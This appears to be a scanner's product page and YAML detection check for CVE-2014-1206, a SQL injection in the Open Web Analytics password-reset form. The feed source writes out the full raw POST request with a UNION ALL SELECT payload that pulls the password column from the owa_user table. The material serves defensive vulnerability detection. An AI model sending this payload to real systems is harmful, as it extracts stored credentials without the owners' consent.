Open Web Analytics — 1 vulnerability check
noctis ships 1 vulnerability check for Open Web Analytics, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Open Web Analytics < 1.5.5 Password-Reset SQL Injection
| CVE | CVE-2014-1206 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/open-web-analytics/CVE-2014-1206.yaml |
Open Web Analytics before 1.5.5 is prone to an unauthenticated SQL injection in the password-reset form. An unauthenticated POST to /index.php?owa_do=base.passwordResetForm injects a UNION ALL SELECT into the owa_email_address parameter, extracting the password column from owa.owa_user and wrapping it between the MySQL hex markers 0x7177766871 ('qwvhq') and 0x7176627971 ('qvbyq'). A vulnerable instance decodes the hex server-side and echoes 'qwvhqsql-inj-test<password>qvbyq' inside an "Invalid address:" error, confirming that arbitrary SQL executed.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /index.php?owa_do=base.passwordResetForm HTTP/1.0 - Checks
resp.bannerforqwvhqsql-inj-test→ finding QoD 75: OWA password-reset UNION SQLi reflected the decoded hex marker chain: …
References:
Feed source — tests/vulnerabilities/open-web-analytics/CVE-2014-1206.yaml
# Open Web Analytics < 1.5.5 — SQL injection via the password-reset form (CVE-2014-1206).
# Detection ported faithfully from OpenVAS/Greenbone NVT
# 2014/gb_open_web_analytics_sql_inj_vuln.nasl (GPL-2.0-only): an unauthenticated
# POST to /index.php?owa_do=base.passwordResetForm injects a UNION ALL SELECT into the
# owa_email_address parameter. The payload wraps the leaked column between MySQL hex
# markers CONCAT(0x7177766871 ('qwvhq'), 0x73716c2d696e6a2d74657374 ('sql-inj-test'),
# <password>, 0x7176627971 ('qvbyq')). On a vulnerable build MySQL decodes those hex
# literals and reflects them inside the application's "Invalid address:" error, so the
# string 'qwvhqsql-inj-test' appears ONLY because the injection executed. The feed sends
# the NASL body verbatim with tcp_connect (the body carries a single quote and '#', so it
# must not be URL-normalised) and matches the full 'qwvhqsql-inj-test' marker on
# resp.banner — a plain reflection of the raw input (which contains the hex, not the
# decoded text) can never match.
uid: 8ebd70be-dcba-480b-b9b1-a5ab3bb6e23f
name: "Open Web Analytics < 1.5.5 Password-Reset SQL Injection (CVE-2014-1206)"
description: |
Open Web Analytics before 1.5.5 is prone to an unauthenticated SQL injection in the
password-reset form. An unauthenticated POST to /index.php?owa_do=base.passwordResetForm
injects a UNION ALL SELECT into the owa_email_address parameter, extracting the password
column from owa.owa_user and wrapping it between the MySQL hex markers 0x7177766871
('qwvhq') and 0x7176627971 ('qvbyq'). A vulnerable instance decodes the hex server-side
and echoes 'qwvhqsql-inj-test<password>qvbyq' inside an "Invalid address:" error,
confirming that arbitrary SQL executed.
cves: [CVE-2014-1206]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [open-web-analytics, owa, sqli, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-1206"
- "OpenVAS/Greenbone NASL 2014/gb_open_web_analytics_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# tcp_connect, not http_request: the UNION payload carries a single quote and '#' and
# must be sent byte-for-byte (reqwest would normalise/encode it). The NASL greps the raw
# response, so the body below is the verbatim NASL data string (Content-Length = 282).
- id: password-reset-sqli-probe
action: tcp_connect
port: "{{port}}"
send: "POST /index.php?owa_do=base.passwordResetForm HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 282\r\n\r\nowa_submit=Request+New+Password&owa_action=base.passwordResetRequest&owa_email_address=-4534' UNION ALL SELECT 3627,3627,3627,3627,3627,CONCAT(0x7177766871,0x73716c2d696e6a2d74657374, IFNULL(CAST(password AS CHAR),0x20),0x7176627971),3627,3627,3627,3627 FROM owa.owa_user LIMIT 0,1#"
store_as: resp
# Match the full 'qwvhqsql-inj-test' marker: the 'qwvhq' prefix (0x7177766871) is only
# present if MySQL decoded the injected hex, so this fires solely on executed SQL — never
# on an app that merely reflects the raw (still-hex-encoded) input in a validation error.
- id: match-injected-marker
action: match
source: resp.banner
pattern: "qwvhqsql-inj-test"
condition: "resp.connected"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "OWA password-reset UNION SQLi reflected the decoded hex marker chain: {{resp.banner}}"
stop: true